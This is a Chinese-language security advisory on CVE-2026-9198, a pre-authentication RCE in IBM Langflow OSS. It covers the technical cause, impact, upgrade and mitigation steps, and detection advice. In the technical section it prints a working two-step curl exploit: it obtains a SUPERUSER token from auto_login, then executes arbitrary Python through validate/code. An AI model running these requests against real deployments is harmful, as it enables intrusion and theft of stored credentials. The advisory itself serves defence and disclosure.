CVE-2026-9198:IBM Langflow OSS 预认证远程代码执行漏洞,CVSS 9.8 被纳入 CISA KEV

事件概述

2026 年 8 月 4 日,美国 CISA 将影响开源 LLM 工作流编排框架 IBM Langflow OSS 1.0.0 至 1.10.0CVE-2026-9198 正式列入 Known Exploited Vulnerabilities(KEV)目录,联邦机构须在 2026-08-07 前完成修复。IBM 官方为该漏洞给出 CVSSv3.1 9.8(Critical) 的评分,向量为 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,对应 CWE-94(代码注入)。漏洞最早披露时间为 2026-07-17,发布版本 Langflow OSS 1.10.1 已完成修复。

Langflow 是用于搭建 LLM 智能体工作流的开源框架,被广泛用于企业内部 AI Agent、RAG 流程、工具调用等场景。大量默认部署将 HTTP API 直接暴露于互联网或企业内网,且未启用反向代理鉴权,这使得此次预认证 RCE 的影响面极大。IONIX 与 SentinelOne 的研究团队均确认该漏洞已在野利用尝试被持续观察。

技术细节

该漏洞由两个 API 端点的缺陷链式构成:

  1. /api/v1/auto_login 认证绕过:该端点用于本地开发便捷登录,启用 AUTO_LOGIN=true(默认配置)后,会向任意 HTTP 调用方签发一个 长期 SUPERUSER 级别 JWT,未校验来源 IP、未绑定 loopback、未校验调用方身份。
  2. /api/v1/validate/code 无沙箱代码执行:该端点接收用户提交的 Python 源码并直接调用 exec() 执行,且会同时执行装饰器与默认参数表达式,因此任何可达该端点的网络攻击者都可凭借 SUPERUSER Token 提交恶意 Python 源码。

利用路径仅需两步:

# 步骤 1:直接调用 auto_login 拿到 SUPERUSER Token
curl http://target:7860/api/v1/auto_login
# 返回 {"access_token":"eyJ...","token_type":"bearer","superuser":true}

# 步骤 2:携带 Token 调用 validate/code 触发任意 Python 执行
curl -X POST http://target:7860/api/v1/validate/code \
  -H "Authorization: Bearer eyJ..." \
  -H "Content-Type: application/json" \
  -d '{"code":"import os; os.system(\"id > /tmp/pwned\")"}'

关键攻击特征

  • 零认证:无需任何账号、口令或客户端配置;
  • 零交互:纯 HTTP 请求即可完成全链路;
  • 默认配置即漏洞:AUTO_LOGIN 在 langflow>=1.0.0 默认开启,且 validate/code 不需要 admin 角色。

影响评估

CVSS 评分 9.8 表示:

  • 机密性 (C:H):攻击者可读取 Langflow 进程可访问的所有文件、API Key、模型凭据;
  • 完整性 (I:H):可任意修改 Flow、Prompt、数据集,构成对下游 LLM 应用的供应链投毒入口;
  • 可用性 (A:H):可删除或重置 Langflow 持久化目录、阻断企业 AI 业务;
  • 横向移动:若 Langflow 与数据库、对象存储、向量库共用网络与凭据,可作为 AI 基础设施的跳板。

EPSS 当前为 0.35-1.89%,但 IONIX 报告已观测到 活跃的扫描与利用尝试,因此 KEV 目录将其定义为”已知被利用”。

修复建议

1. 立即升级

# 升级到 1.10.1 或更高版本
pip install --upgrade langflow==1.10.1
# 重新构建并替换所有运行容器

2. 临时缓解(无法立即升级时)

  • 在反向代理(NGINX / Traefik / Cloudflare Access)上对 /api/v1/auto_login/api/v1/validate/code 设置 仅允许可信内网访问
  • 将环境变量 LANGFLOW_AUTO_LOGIN=false,并显式设置 LANGFLOW_SUPERUSER 账号;
  • 将 Langflow 监听地址绑定到 127.0.0.1,强制外部通过 VPN 或鉴权网关访问;
  • 关闭 7860 端口的公网直连,启用 WAF 检测异常 auto_login 调用。

3. 检测与响应

  • 在 FastAPI 访问日志中检索 /api/v1/auto_login 高频调用,定位可疑源 IP;
  • 对 Langflow 进程监控异常子进程(shbashcurlwgetpython -c)以及出站网络连接;
  • 轮换所有 Langflow 中存储的模型 Provider Key、数据库口令、对象存储凭据;
  • 回溯检查 /tmp/crontab~/.ssh/authorized_keys 中是否存在异常写入。

参考来源